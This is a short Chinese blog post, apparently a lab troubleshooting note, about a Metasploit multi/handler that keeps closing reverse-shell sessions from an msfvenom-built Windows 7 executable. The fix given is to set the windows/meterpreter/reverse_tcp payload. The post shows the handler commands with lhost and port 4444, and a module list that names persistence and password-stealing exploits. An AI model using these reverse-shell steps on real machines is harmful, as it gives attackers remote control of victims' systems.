首页 > 系统相关 >kali反弹shell Command shell session X is not valid and will be closed

kali反弹shell Command shell session X is not valid and will be closed

时间:2023-12-13 17:57:34浏览次数:27  
标签:shell No kali will exploit session Command local

msfvenom生成test.exe  执行监听但是报错,

[-] Command shell session 15 is not valid and will be closed
[*] 172.24.96.1 - Command shell session 15 closed.

最后检查发现默认的  5 exploit/multi/handler manual No Generic Payload Handler,需要指定对应payload,(manual No Generic Payload Handler  怪自己英语不好)

use exploit multi/handler
set payload windows/meterpreter/reverse_tcprun

我的是在win7 平台

Matching Modules

================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/local/apt_package_manager_persistence 1999-03-09 excellent No APT Package Manager Persistence
1 exploit/android/local/janus 2017-07-31 manual Yes Android Janus APK Signature bypass
2 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
3 exploit/linux/local/bash_profile_persistence 1989-06-08 normal No Bash Profile Persistence
4 exploit/linux/local/desktop_privilege_escalation 2014-08-07 excellent Yes Desktop Linux Password Stealer and Privilege Escalation
5 exploit/multi/handler manual No Generic Payload Handler
6 exploit/windows/mssql/mssql_linkcrawler 2000-01-01 great No Microsoft SQL Server Database Link Crawling Command Execution
7 exploit/windows/browser/persits_xupload_traversal 2009-09-29 excellent No Persits XUpload ActiveX MakeHttpRequest Directory Traversal
8 exploit/linux/local/yum_package_manager_persistence 2003-12-17 excellent No Yum Package Manager Persistence

Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yum_package_manager_persistence

msf6 > use 5
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.24.107.11
lhost => 172.24.107.11
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.24.107.11:4444
[-] Command shell session 15 is not valid and will be closed
[*] 172.24.96.1 - Command shell session 15 closed.

 

标签:shell,No,kali,will,exploit,session,Command,local
From: https://www.cnblogs.com/shaoyine/p/17899611.html

相关文章

  • OnePlus2刷入kaliNetHunter最新版!最性价比设备
    WIFI、蓝牙、相机正常KALI版本:nethunter-2023.4-oneplus2cm-pie-kalifs-full.zip系统版本:lineage-16.0-20181110-UNOFFICIAL-oneplus2.zip(Android9,代号pie)刷机流程简介可能我理解的不正确,如有误可留言。首先刷入lineage系统。建议这边重刷一遍,防止后面有误。好的,那么接下......
  • 2023.12 ~ After the ice turns into water / the sea I hang upside down will be yo
    COCI2023.11LOJ3999考虑把填数过程倒过来做,那么就变成了覆盖。设\(f(i,j,0/1)\)表示目前填进去\(i\)个数,且最后一个填的数是\(j\),并且\(j\)的位置在最左侧/最右侧的方案数。以\(f(i,j,0)\)为例,转移有:\(f(i,j,0)\tof(i+1,k,0)\),要求\(k\lej-1\)且\(j-1\equivk......
  • 通过PowerShellPlus示例脚本学习PowerShell之-输出SQLServer服务属性
    ##=====================================================================##Title:Get-MSSQL-ServerAttrib-Csv##Description:ConnecttoSQLServerandoutputserverattributestoCSV##Author:Idera##Date:1/28/2009##Input......
  • shell脚本之系统用户筛选与日志文件筛选
    系统用户筛选利用shellj脚本遍历/etc/passwd文件,提取出其中的普通用户,无登录权限用户以及超级管理员用户;脚本内容创建空数组,分别用于存放普通用户、不具备登录权限的用户、超级管理员用户。使用for循环打印当前系统内的所有用户名,并检查当前用户的id信息,当id信息大于等于1000时则......
  • linux运维好用shell
    functiongetCpuStatus(){echo""echo""echo"############################CPU检查#############################"Physical_CPUs=$(grep"physicalid"/proc/cpuinfo|sort|uniq|wc-l)Virt_CPUs=$(grep"processo......
  • shell脚本模板-从git拉取代码并打包部署
    source/etc/profile.~/.bash_profile#拉取能耗后端代码cd/usr/local/testmvncleanecho-e"从git华为云拉取后端代码"#首次clonegitpulltest.gitecho-e"从git华为云代码拉取完成"#工程打包echo-e"开始打jar包"mvnpackage-Dmaven.test.skip=true#删除原来的jar包rm......
  • 什么是shell?
    系统内核是操作系统的基本组成部分,它负责管理系统的硬件和软件资源,并提供一组基本的系统服务。内核是操作系统的核心,控制着计算机的所有主要功能,包括内存管理、进程管理、设备驱动程序、系统调用和安全防护等。内核在计算机中扮演着重要的角色,它为用户空间的应用程序提供访问硬件资......
  • shell脚本基础学习
    shell脚本基础学习一.shell的解释:shell具备编程的能力shell是一种解释型语言(不需要提前编译,一边执行一边解释,每种解释性语言都有解释器)shell语言支持大部分编程语言都具备的功能(if判断,for循环,变量,数组,函数,加减乘除,逻辑运算)二.shell脚本的规范模板tips:shell脚本的本......
  • Shell 工具和脚本
    20231211课程链接:[自制双语字幕]计算机教育缺失的一课(2020)-第2讲-Shell工具和脚本_哔哩哔哩_bilibili阅读 manls ,然后使用ls 命令进行如下操作:所有文件(包括隐藏文件)文件打印以人类可以理解的格式输出(例如,使用454M而不是454279954)文件以最近访问顺序排序......
  • shell 获取返回值、上一次命令、上次命令参数
    前言全局说明shell获取返回值、上一次命令、上次命令参数一、获取上一次命令1.$?,上一次命令执行结果成功0;失败非0echo$?2.!!,执行上一次命令,是!-1的快捷方式3.!n,表示执行history里第n条命令,如!2表示执行ls6789104.!-n表示倒数第n条命......